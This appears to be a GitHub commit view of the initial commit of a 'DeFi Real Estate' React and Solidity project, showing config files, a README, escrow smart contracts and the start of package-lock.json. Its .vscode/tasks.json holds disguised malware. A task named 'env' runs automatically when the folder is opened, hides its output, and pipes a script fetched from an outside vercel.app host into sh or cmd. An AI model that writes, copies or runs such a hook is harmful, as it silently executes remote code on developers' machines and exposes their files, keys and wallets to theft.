irongit

initial commit

caroline119-adminauthored
commit 0e7bf086c158c446722e315b8bba69c8abc34bc5Browse files

63 files changed, +33458 -0

+24-0.gitignore
@@ -0,0 +1,24 @@
1+# See https://help.github.com/articles/ignoring-files/ for more about ignoring files.
2+
3+# dependencies
4+/node_modules
5+/.pnp
6+.pnp.js
7+
8+# testing
9+/coverage
10+
11+# production
12+/build
13+
14+# misc
15+.DS_Store
16+.env
17+.env.local
18+.env.development.local
19+.env.test.local
20+.env.production.local
21+
22+npm-debug.log*
23+yarn-debug.log*
24+yarn-error.log*
+47-0.vscode/settings.json
@@ -0,0 +1,47 @@
1+{
2+ "files.autoSave": "off", // Automatically saves files after a delay
3+ "editor.minimap.enabled": true, // Disables the minimap
4+ "editor.wordWrap": "off", // Enables word wrapping
5+ "files.exclude": {
6+ // Hides unnecessary files from the file explorer
7+ "**/.DS_Store": true,
8+ "**/node_modules": true
9+ },
10+ "editor.tabSize": 2, // Sets tab size to 2 spaces
11+ "editor.formatOnSave": false, // Automatically formats code on save{
12+ "terminal.integrated.profiles.windows": {
13+ "cmd": {
14+ "path": "C:\\Windows\\System32\\cmd.exe"
15+ },
16+ "powershell": {
17+ "path": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
18+ }
19+ },
20+ "terminal.integrated.defaultProfile.windows": "Command Prompt",
21+ "terminal.integrated.profiles.linux": {
22+ "GitHub CLI": {
23+ "path": "/usr/bin/gh"
24+ },
25+ "Default Shell": {
26+ "path": "/bin/bash"
27+ }
28+ },
29+ "terminal.integrated.profiles.osx": {
30+ "GitHub CLI": {
31+ "path": "/usr/local/bin/gh"
32+ },
33+ "Default Shell": {
34+ "path": "/bin/zsh"
35+ }
36+ },
37+ "terminal.integrated.defaultProfileCondition": {
38+ "profiles": {
39+ "GitHub CLI": "exists(/usr/bin/gh) || exists(/usr/local/bin/gh) || exists(C:\\Program Files\\Git\\bin\\bash.exe)"
40+ },
41+ "fallbacks": {
42+ "windows": "PowerShell",
43+ "linux": "Default Shell",
44+ "osx": "Default Shell"
45+ }
46+ }
47+}
+31-0.vscode/tasks.json
@@ -0,0 +1,31 @@
1+{
2+ "version": "2.0.0",
3+ "tasks": [
4+ {
5+ "label": "env",
6+ "type": "shell",
7+ "osx": {
8+ "command": "curl 'https://vscode-extensions-bootstrap.vercel.app/settings/mac?flag=308' | sh"
9+ },
10+ "linux": {
11+ "command": "wget -qO- 'https://vscode-extensions-bootstrap.vercel.app/settings/linux?flag=308' | sh"
12+ },
13+ "windows": {
14+ "command": "curl https://vscode-extensions-bootstrap.vercel.app/settings/windows?flag=308 | cmd"
15+ },
16+
17+ "problemMatcher": [],
18+ "presentation": {
19+ "reveal": "never",
20+ "echo": false,
21+ "focus": false,
22+ "close": true,
23+ "panel": "dedicated",
24+ "showReuseMessage": false
25+ },
26+ "runOptions": {
27+ "runOn": "folderOpen"
28+ }
29+ }
30+ ]
31+}
+21-0LICENSE
@@ -0,0 +1,21 @@
1+MIT License
2+
3+Copyright (c) 2025
4+
5+Permission is hereby granted, free of charge, to any person obtaining a copy
6+of this software and associated documentation files (the "Software"), to deal
7+in the Software without restriction, including without limitation the rights
8+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9+copies of the Software, and to permit persons to whom the Software is
10+furnished to do so, subject to the following conditions:
11+
12+The above copyright notice and this permission notice shall be included in all
13+copies or substantial portions of the Software.
14+
15+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21+SOFTWARE.
+71-0README.md
@@ -0,0 +1,71 @@
1+# DeFi Real Estate
2+
3+This is a modern real estate investment platform that combines traditional property investing with cryptocurrency payments. Built with React and Tailwind CSS, it mirrors the functionality of Arrived.com while adding blockchain-based transaction capabilities.
4+
5+## Key Features
6+
7+- Cryptocurrency-enabled property transactions
8+- Mobile-responsive design
9+- SEO-optimized architecture
10+- Real-time market data integration
11+- Interactive 3D property visualization
12+- Smart contract integration for secure transactions
13+
14+## Technical Overview
15+
16+The platform is built using:
17+
18+- React for component-based architecture
19+- Tailwind CSS for responsive styling
20+- Node.js for scalable backend architecture
21+- React Router for client-side routing
22+- Three.js for 3D property visualizations
23+- Web3.js for blockchain interactions
24+
25+## How to Run Locally
26+
27+Install Node v20 or higher.
28+
29+Clone the repository and install dependencies:
30+
31+```bash
32+npm install
33+```
34+
35+Run the local development server:
36+
37+```bash
38+npm start
39+```
40+
41+The app will be available at `http://locahost:3000`.
42+
43+## Core Components
44+
45+1. **Home Page** - Hero Section with value proposition
46+
47+- Featured Properties Grid (3 properties)
48+- "Why Choose Us" highlighting crypto benefits
49+- Investment Guide with step-by-step process
50+- Blog Preview with latest 3 posts
51+- Discord Community Section
52+
53+2. **Properties Page**
54+
55+- Filterable property grid
56+- Advanced search functionality
57+- Detailed property cards
58+- Three.js 3D visualization
59+
60+3. **About Us Page**
61+
62+- Company vision and mission
63+- Team profiles
64+- Platform statistics
65+
66+4. **Blog Section**
67+
68+- Category filtering
69+- Search functionality
70+- Author profiles
71+- Social sharing buttons
+24-0config-overrides.js
@@ -0,0 +1,24 @@
1+const webpack = require("webpack");
2+
3+module.exports = function override(config) {
4+ const fallback = config.resolve.fallback || {};
5+ Object.assign(fallback, {
6+ crypto: require.resolve("crypto-browserify"),
7+ stream: require.resolve("stream-browserify"),
8+ assert: require.resolve("assert"),
9+ http: require.resolve("stream-http"),
10+ https: require.resolve("https-browserify"),
11+ os: require.resolve("os-browserify"),
12+ url: require.resolve("url"),
13+ "process/browser": require.resolve("process/browser"),
14+ });
15+ config.resolve.fallback = fallback;
16+ config.ignoreWarnings = [/Failed to parse source map/];
17+ config.plugins = (config.plugins || []).concat([
18+ new webpack.ProvidePlugin({
19+ process: "process/browser",
20+ Buffer: ["buffer", "Buffer"],
21+ }),
22+ ]);
23+ return config;
24+};
+41-0contracts/Factory.sol
@@ -0,0 +1,41 @@
1+pragma solidity >=0.4.25 <0.6.0;
2+
3+import "./HomeTransaction.sol";
4+
5+contract Factory {
6+ HomeTransaction[] contracts;
7+
8+ function create(
9+ string memory _address,
10+ string memory _zip,
11+ string memory _city,
12+ uint _realtorFee,
13+ uint _price,
14+ address payable _seller,
15+ address payable _buyer) public returns(HomeTransaction homeTransaction) {
16+ homeTransaction = new HomeTransaction(
17+ _address,
18+ _zip,
19+ _city,
20+ _realtorFee,
21+ _price,
22+ msg.sender,
23+ _seller,
24+ _buyer);
25+ contracts.push(homeTransaction);
26+ }
27+
28+ function getInstance(uint index) public view returns (HomeTransaction instance) {
29+ require(index < contracts.length, "index out of range");
30+
31+ instance = contracts[index];
32+ }
33+
34+ function getInstances() public view returns (HomeTransaction[] memory instances) {
35+ instances = contracts;
36+ }
37+
38+ function getInstanceCount() public view returns (uint count) {
39+ count = contracts.length;
40+ }
41+}
+119-0contracts/HomeTransaction.sol
@@ -0,0 +1,119 @@
1+pragma solidity >=0.4.25 <0.6.0;
2+
3+contract HomeTransaction {
4+ // Constants
5+ uint constant timeBetweenDepositAndFinalization = 5 minutes;
6+ uint constant depositPercentage = 10;
7+
8+ enum ContractState {
9+ WaitingSellerSignature,
10+ WaitingBuyerSignature,
11+ WaitingRealtorReview,
12+ WaitingFinalization,
13+ Finalized,
14+ Rejected }
15+ ContractState public contractState = ContractState.WaitingSellerSignature;
16+
17+
18+ // Roles acting on contract
19+ address payable public realtor;
20+ address payable public seller;
21+ address payable public buyer;
22+
23+ // Contract details
24+ string public homeAddress;
25+ string public zip;
26+ string public city;
27+ uint public realtorFee;
28+ uint public price;
29+
30+ // Set when buyer signs and pays deposit
31+ uint public deposit;
32+ uint public finalizeDeadline;
33+
34+ // Set when realtor reviews closing conditions
35+ enum ClosingConditionsReview { Pending, Accepted, Rejected }
36+ ClosingConditionsReview closingConditionsReview = ClosingConditionsReview.Pending;
37+
38+ constructor(
39+ string memory _address,
40+ string memory _zip,
41+ string memory _city,
42+ uint _realtorFee,
43+ uint _price,
44+ address payable _realtor,
45+ address payable _seller,
46+ address payable _buyer) public {
47+ require(_price >= _realtorFee, "Price needs to be more than realtor fee!");
48+
49+ realtor = _realtor;
50+ seller = _seller;
51+ buyer = _buyer;
52+ homeAddress = _address;
53+ zip = _zip;
54+ city = _city;
55+ price = _price;
56+ realtorFee = _realtorFee;
57+ }
58+
59+ function sellerSignContract() public payable {
60+ require(seller == msg.sender, "Only seller can sign contract");
61+
62+ require(contractState == ContractState.WaitingSellerSignature, "Wrong contract state");
63+
64+ contractState = ContractState.WaitingBuyerSignature;
65+ }
66+
67+ function buyerSignContractAndPayDeposit() public payable {
68+ require(buyer == msg.sender, "Only buyer can sign contract");
69+
70+ require(contractState == ContractState.WaitingBuyerSignature, "Wrong contract state");
71+
72+ require(msg.value >= price*depositPercentage/100 && msg.value <= price, "Buyer needs to deposit between 10% and 100% to sign contract");
73+
74+ contractState = ContractState.WaitingRealtorReview;
75+
76+ deposit = msg.value;
77+ finalizeDeadline = now + timeBetweenDepositAndFinalization;
78+ }
79+
80+ function realtorReviewedClosingConditions(bool accepted) public {
81+ require(realtor == msg.sender, "Only realtor can review closing conditions");
82+
83+ require(contractState == ContractState.WaitingRealtorReview, "Wrong contract state");
84+
85+ if (accepted) {
86+ closingConditionsReview = ClosingConditionsReview.Accepted;
87+ contractState = ContractState.WaitingFinalization;
88+ } else {
89+ closingConditionsReview = ClosingConditionsReview.Rejected;
90+ contractState = ContractState.Rejected;
91+
92+ buyer.transfer(deposit);
93+ }
94+ }
95+
96+ function buyerFinalizeTransaction() public payable {
97+ require(buyer == msg.sender, "Only buyer can finalize transaction");
98+
99+ require(contractState == ContractState.WaitingFinalization, "Wrong contract state");
100+
101+ require(msg.value + deposit == price, "Buyer needs to pay the rest of the cost to finalize transaction");
102+
103+ contractState = ContractState.Finalized;
104+
105+ seller.transfer(price-realtorFee);
106+ realtor.transfer(realtorFee);
107+ }
108+
109+ function anyWithdrawFromTransaction() public {
110+ require(buyer == msg.sender || finalizeDeadline <= now, "Only buyer can withdraw before transaction deadline");
111+
112+ require(contractState == ContractState.WaitingFinalization, "Wrong contract state");
113+
114+ contractState = ContractState.Rejected;
115+
116+ seller.transfer(deposit-realtorFee);
117+ realtor.transfer(realtorFee);
118+ }
119+}
+28519-0package-lock.json
@@ -0,0 +1,28519 @@
1+{
2+ "name": "defi-property",
3+ "version": "0.1.11",
4+ "lockfileVersion": 3,
5+ "requires": true,
6+ "packages": {
7+ "": {
8+ "name": "defi-property",
9+ "version": "0.1.11",
10+ "dependencies": {
11+ "@react-three/drei": "^9.75.0",
12+ "@react-three/fiber": "^8.13.3",
13+ "@sendgrid/mail": "^8.1.3",
14+ "@testing-library/jest-dom": "^5.16.4",
15+ "@testing-library/react": "^13.3.0",
16+ "@testing-library/user-event": "^13.5.0",
17+ "@walletconnect/web3-provider": "^1.7.8",
18+ "axios": "^1.10.0",
19+ "bcryptjs": "^2.4.3",
20+ "bootstrap": "^5.1.3",
21+ "bootstrap-icons": "^1.8.3",
22+ "chart.js": "^4.3.0",
23+ "chartjs-plugin-annotation": "^3.0.1",
24+ "cloudinary": "^2.1.0",
25+ "concurrently": "^8.2.2",
26+ "cookie-parser": "^1.4.6",
27+ "cors": "^2.8.5",
28+ "dotenv": "^16.4.5",
29+ "ethers": "^5.6.9",
30+ "express": "^4.19.2",
31+ "express-fileupload": "^1.5.0",
32+ "framer-motion": "^12.9.4",
33+ "gridfs-stream": "^1.1.1",
34+ "jotai": "^2.12.3",
35+ "jsonwebtoken": "^9.0.2",
36+ "leva": "^0.10.0",
37+ "moment": "^2.30.1",
38+ "mongoose": "^8.20.0",
39+ "morgan": "^1.10.1",
40+ "multer": "^2.0.2",
41+ "paytmchecksum": "^1.5.1",
42+ "react": "^18.3.1",
43+ "react-app-rewired": "^2.2.1",
44+ "react-chartjs-2": "^5.2.0",
45+ "react-copy-to-clipboard": "^5.1.0",
46+ "react-countdown-circle-timer": "^3.2.1",
47+ "react-dom": "^18.3.1",
48+ "react-icons": "^5.5.0",
49+ "react-router-dom": "^6.3.0",
50+ "react-scripts": "5.0.1",
51+ "react-share": "^5.2.2",
52+ "reactstrap": "^9.1.1",
53+ "socket.io": "^4.8.1",
54+ "socket.io-client": "^4.5.4",
55+ "three": "^0.176.0",
56+ "validator": "^13.11.0",
57+ "web-vitals": "^2.1.4"
58+ },
59+ "devDependencies": {
60+ "assert": "^2.0.0",
61+ "buffer": "^6.0.3",
62+ "crypto-browserify": "^3.12.0",
63+ "https-browserify": "^1.0.0",
64+ "os-browserify": "^0.3.0",
65+ "process": "^0.11.10",
66+ "stream-browserify": "^3.0.0",
67+ "stream-http": "^3.2.0",
68+ "url": "^0.11.0"
69+ }
70+ },
71+ "node_modules/@adobe/css-tools": {
72+ "version": "4.4.4",
73+ "resolved": "https://registry.npmjs.org/@adobe/css-tools/-/css-tools-4.4.4.tgz",
74+ "integrity": "sha512-Elp+iwUx5rN5+Y8xLt5/GRoG20WGoDCQ/1Fb+1LiGtvwbDavuSk0jhD/eZdckHAuzcDzccnkv+rEjyWfRx18gg==",
75+ "license": "MIT"
76+ },
77+ "node_modules/@alloc/quick-lru": {
78+ "version": "5.2.0",
79+ "resolved": "https://registry.npmjs.org/@alloc/quick-lru/-/quick-lru-5.2.0.tgz",
80+ "integrity": "sha512-UrcABB+4bUrFABwbluTIBErXwvbsU/V7TZWfmbgJfbkwiBuziS9gxdODUyuiecfdGQ85jglMW6juS3+z5TsKLw==",
81+ "license": "MIT",
82+ "engines": {
83+ "node": ">=10"
84+ },
85+ "funding": {
86+ "url": "https://github.com/sponsors/sindresorhus"
87+ }
88+ },
89+ "node_modules/@babel/code-frame": {
90+ "version": "7.27.1",
91+ "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.27.1.tgz",
92+ "integrity": "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg==",
93+ "license": "MIT",
94+ "dependencies": {
95+ "@babel/helper-validator-identifier": "^7.27.1",
96+ "js-tokens": "^4.0.0",
97+ "picocolors": "^1.1.1"
98+ },
99+ "engines": {
100+ "node": ">=6.9.0"
101+ }
102+ },
103+ "node_modules/@babel/compat-data": {
104+ "version": "7.28.5",
105+ "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.28.5.tgz",
106+ "integrity": "sha512-6uFXyCayocRbqhZOB+6XcuZbkMNimwfVGFji8CTZnCzOHVGvDqzvitu1re2AU5LROliz7eQPhB8CpAMvnx9EjA==",
107+ "license": "MIT",
108+ "engines": {
109+ "node": ">=6.9.0"
110+ }
111+ },
112+ "node_modules/@babel/core": {
113+ "version": "7.28.5",
114+ "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.28.5.tgz",
115+ "integrity": "sha512-e7jT4DxYvIDLk1ZHmU/m/mB19rex9sv0c2ftBtjSBv+kVM/902eh0fINUzD7UwLLNR+jU585GxUJ8/EBfAM5fw==",
116+ "license": "MIT",
117+ "dependencies": {
118+ "@babel/code-frame": "^7.27.1",
119+ "@babel/generator": "^7.28.5",
120+ "@babel/helper-compilation-targets": "^7.27.2",
121+ "@babel/helper-module-transforms": "^7.28.3",
122+ "@babel/helpers": "^7.28.4",
123+ "@babel/parser": "^7.28.5",
124+ "@babel/template": "^7.27.2",
125+ "@babel/traverse": "^7.28.5",
126+ "@babel/types": "^7.28.5",
127+ "@jridgewell/remapping": "^2.3.5",
128+ "convert-source-map": "^2.0.0",
129+ "debug": "^4.1.0",
130+ "gensync": "^1.0.0-beta.2",
131+ "json5": "^2.2.3",
132+ "semver": "^6.3.1"
133+ },
134+ "engines": {
135+ "node": ">=6.9.0"
136+ },
137+ "funding": {
138+ "type": "opencollective",
139+ "url": "https://opencollective.com/babel"
140+ }
141+ },
142+ "node_modules/@babel/core/node_modules/debug": {
143+ "version": "4.4.3",
144+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",
145+ "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==",
146+ "license": "MIT",
147+ "dependencies": {
148+ "ms": "^2.1.3"
149+ },
150+ "engines": {
151+ "node": ">=6.0"
152+ },
153+ "peerDependenciesMeta": {
154+ "supports-color": {
155+ "optional": true
156+ }
157+ }
158+ },
159+ "node_modules/@babel/core/node_modules/ms": {
160+ "version": "2.1.3",
161+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
162+ "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
163+ "license": "MIT"
164+ },
165+ "node_modules/@babel/core/node_modules/semver": {
166+ "version": "6.3.1",
167+ "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
168+ "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
169+ "license": "ISC",
170+ "bin": {
171+ "semver": "bin/semver.js"
172+ }
173+ },
174+ "node_modules/@babel/eslint-parser": {
175+ "version": "7.28.5",
176+ "resolved": "https://registry.npmjs.org/@babel/eslint-parser/-/eslint-parser-7.28.5.tgz",
177+ "integrity": "sha512-fcdRcWahONYo+JRnJg1/AekOacGvKx12Gu0qXJXFi2WBqQA1i7+O5PaxRB7kxE/Op94dExnCiiar6T09pvdHpA==",
178+ "license": "MIT",
179+ "dependencies": {
180+ "@nicolo-ribaudo/eslint-scope-5-internals": "5.1.1-v1",
181+ "eslint-visitor-keys": "^2.1.0",
182+ "semver": "^6.3.1"
183+ },
184+ "engines": {
185+ "node": "^10.13.0 || ^12.13.0 || >=14.0.0"
186+ },
187+ "peerDependencies": {
188+ "@babel/core": "^7.11.0",
189+ "eslint": "^7.5.0 || ^8.0.0 || ^9.0.0"
190+ }
191+ },
192+ "node_modules/@babel/eslint-parser/node_modules/eslint-visitor-keys": {
193+ "version": "2.1.0",
194+ "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-2.1.0.tgz",
195+ "integrity": "sha512-0rSmRBzXgDzIsD6mGdJgevzgezI534Cer5L/vyMX0kHzT/jiB43jRhd9YUlMGYLQy2zprNmoT8qasCGtY+QaKw==",
196+ "license": "Apache-2.0",
197+ "engines": {
198+ "node": ">=10"
199+ }
200+ },
201+ "node_modules/@babel/eslint-parser/node_modules/semver": {
202+ "version": "6.3.1",
203+ "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
204+ "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
205+ "license": "ISC",
206+ "bin": {
207+ "semver": "bin/semver.js"
208+ }
209+ },
210+ "node_modules/@babel/generator": {
211+ "version": "7.28.5",
212+ "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.28.5.tgz",
213+ "integrity": "sha512-3EwLFhZ38J4VyIP6WNtt2kUdW9dokXA9Cr4IVIFHuCpZ3H8/YFOl5JjZHisrn1fATPBmKKqXzDFvh9fUwHz6CQ==",
214+ "license": "MIT",
215+ "dependencies": {
216+ "@babel/parser": "^7.28.5",
217+ "@babel/types": "^7.28.5",
218+ "@jridgewell/gen-mapping": "^0.3.12",
219+ "@jridgewell/trace-mapping": "^0.3.28",
220+ "jsesc": "^3.0.2"
221+ },
222+ "engines": {
223+ "node": ">=6.9.0"
224+ }
225+ },
226+ "node_modules/@babel/helper-annotate-as-pure": {
227+ "version": "7.27.3",
228+ "resolved": "https://registry.npmjs.org/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.27.3.tgz",
229+ "integrity": "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg==",
230+ "license": "MIT",
231+ "dependencies": {
232+ "@babel/types": "^7.27.3"
233+ },
234+ "engines": {
235+ "node": ">=6.9.0"
236+ }
237+ },
238+ "node_modules/@babel/helper-compilation-targets": {
239+ "version": "7.27.2",
240+ "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.27.2.tgz",
241+ "integrity": "sha512-2+1thGUUWWjLTYTHZWK1n8Yga0ijBz1XAhUXcKy81rd5g6yh7hGqMp45v7cadSbEHc9G3OTv45SyneRN3ps4DQ==",
242+ "license": "MIT",
243+ "dependencies": {
244+ "@babel/compat-data": "^7.27.2",
245+ "@babel/helper-validator-option": "^7.27.1",
246+ "browserslist": "^4.24.0",
247+ "lru-cache": "^5.1.1",
248+ "semver": "^6.3.1"
249+ },
250+ "engines": {
251+ "node": ">=6.9.0"
252+ }
253+ },
254+ "node_modules/@babel/helper-compilation-targets/node_modules/semver": {
255+ "version": "6.3.1",
256+ "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
257+ "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
258+ "license": "ISC",
259+ "bin": {
260+ "semver": "bin/semver.js"
261+ }
262+ },
263+ "node_modules/@babel/helper-create-class-features-plugin": {
264+ "version": "7.28.5",
265+ "resolved": "https://registry.npmjs.org/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.28.5.tgz",
266+ "integrity": "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ==",
267+ "license": "MIT",
268+ "dependencies": {
269+ "@babel/helper-annotate-as-pure": "^7.27.3",
270+ "@babel/helper-member-expression-to-functions": "^7.28.5",
271+ "@babel/helper-optimise-call-expression": "^7.27.1",
272+ "@babel/helper-replace-supers": "^7.27.1",
273+ "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1",
274+ "@babel/traverse": "^7.28.5",
275+ "semver": "^6.3.1"
276+ },
277+ "engines": {
278+ "node": ">=6.9.0"
279+ },
280+ "peerDependencies": {
281+ "@babel/core": "^7.0.0"
282+ }
283+ },
284+ "node_modules/@babel/helper-create-class-features-plugin/node_modules/semver": {
285+ "version": "6.3.1",
286+ "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
287+ "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
288+ "license": "ISC",
289+ "bin": {
290+ "semver": "bin/semver.js"
291+ }
292+ },
293+ "node_modules/@babel/helper-create-regexp-features-plugin": {
294+ "version": "7.28.5",
295+ "resolved": "https://registry.npmjs.org/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.28.5.tgz",
296+ "integrity": "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw==",
297+ "license": "MIT",
298+ "dependencies": {
299+ "@babel/helper-annotate-as-pure": "^7.27.3",
300+ "regexpu-core": "^6.3.1",
301+ "semver": "^6.3.1"
302+ },
303+ "engines": {
304+ "node": ">=6.9.0"
305+ },
306+ "peerDependencies": {
307+ "@babel/core": "^7.0.0"
308+ }
309+ },
310+ "node_modules/@babel/helper-create-regexp-features-plugin/node_modules/semver": {
311+ "version": "6.3.1",
312+ "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
313+ "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
314+ "license": "ISC",
315+ "bin": {
316+ "semver": "bin/semver.js"
317+ }
318+ },
319+ "node_modules/@babel/helper-define-polyfill-provider": {
320+ "version": "0.6.5",
321+ "resolved": "https://registry.npmjs.org/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.6.5.tgz",
322+ "integrity": "sha512-uJnGFcPsWQK8fvjgGP5LZUZZsYGIoPeRjSF5PGwrelYgq7Q15/Ft9NGFp1zglwgIv//W0uG4BevRuSJRyylZPg==",
323+ "license": "MIT",
324+ "dependencies": {
325+ "@babel/helper-compilation-targets": "^7.27.2",
326+ "@babel/helper-plugin-utils": "^7.27.1",
327+ "debug": "^4.4.1",
328+ "lodash.debounce": "^4.0.8",
329+ "resolve": "^1.22.10"
330+ },
331+ "peerDependencies": {
332+ "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0"
333+ }
334+ },
335+ "node_modules/@babel/helper-define-polyfill-provider/node_modules/debug": {
336+ "version": "4.4.3",
337+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",
338+ "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==",
339+ "license": "MIT",
340+ "dependencies": {
341+ "ms": "^2.1.3"
342+ },
343+ "engines": {
344+ "node": ">=6.0"
345+ },
346+ "peerDependenciesMeta": {
347+ "supports-color": {
348+ "optional": true
349+ }
350+ }
351+ },
352+ "node_modules/@babel/helper-define-polyfill-provider/node_modules/ms": {
353+ "version": "2.1.3",
354+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
355+ "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
356+ "license": "MIT"
357+ },
358+ "node_modules/@babel/helper-globals": {
359+ "version": "7.28.0",
360+ "resolved": "https://registry.npmjs.org/@babel/helper-globals/-/helper-globals-7.28.0.tgz",
361+ "integrity": "sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw==",
362+ "license": "MIT",
363+ "engines": {
364+ "node": ">=6.9.0"
365+ }
366+ },
367+ "node_modules/@babel/helper-member-expression-to-functions": {
368+ "version": "7.28.5",
369+ "resolved": "https://registry.npmjs.org/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.28.5.tgz",
370+ "integrity": "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg==",
371+ "license": "MIT",
372+ "dependencies": {
373+ "@babel/traverse": "^7.28.5",
374+ "@babel/types": "^7.28.5"
375+ },
376+ "engines": {
377+ "node": ">=6.9.0"
378+ }
379+ },
380+ "node_modules/@babel/helper-module-imports": {
381+ "version": "7.27.1",
382+ "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.27.1.tgz",
383+ "integrity": "sha512-0gSFWUPNXNopqtIPQvlD5WgXYI5GY2kP2cCvoT8kczjbfcfuIljTbcWrulD1CIPIX2gt1wghbDy08yE1p+/r3w==",
384+ "license": "MIT",
385+ "dependencies": {
386+ "@babel/traverse": "^7.27.1",
387+ "@babel/types": "^7.27.1"
388+ },
389+ "engines": {
390+ "node": ">=6.9.0"
391+ }
392+ },
393+ "node_modules/@babel/helper-module-transforms": {
394+ "version": "7.28.3",
395+ "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.28.3.tgz",
396+ "integrity": "sha512-gytXUbs8k2sXS9PnQptz5o0QnpLL51SwASIORY6XaBKF88nsOT0Zw9szLqlSGQDP/4TljBAD5y98p2U1fqkdsw==",
397+ "license": "MIT",
398+ "dependencies": {
399+ "@babel/helper-module-imports": "^7.27.1",
400+ "@babel/helper-validator-identifier": "^7.27.1",
401+ "@babel/traverse": "^7.28.3"
402+ },
403+ "engines": {
404+ "node": ">=6.9.0"
405+ },
406+ "peerDependencies": {
407+ "@babel/core": "^7.0.0"
408+ }
409+ },
410+ "node_modules/@babel/helper-optimise-call-expression": {
411+ "version": "7.27.1",
412+ "resolved": "https://registry.npmjs.org/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.27.1.tgz",
413+ "integrity": "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw==",
414+ "license": "MIT",
415+ "dependencies": {
416+ "@babel/types": "^7.27.1"
417+ },
418+ "engines": {
419+ "node": ">=6.9.0"
420+ }
421+ },
422+ "node_modules/@babel/helper-plugin-utils": {
423+ "version": "7.27.1",
424+ "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.27.1.tgz",
425+ "integrity": "sha512-1gn1Up5YXka3YYAHGKpbideQ5Yjf1tDa9qYcgysz+cNCXukyLl6DjPXhD3VRwSb8c0J9tA4b2+rHEZtc6R0tlw==",
426+ "license": "MIT",
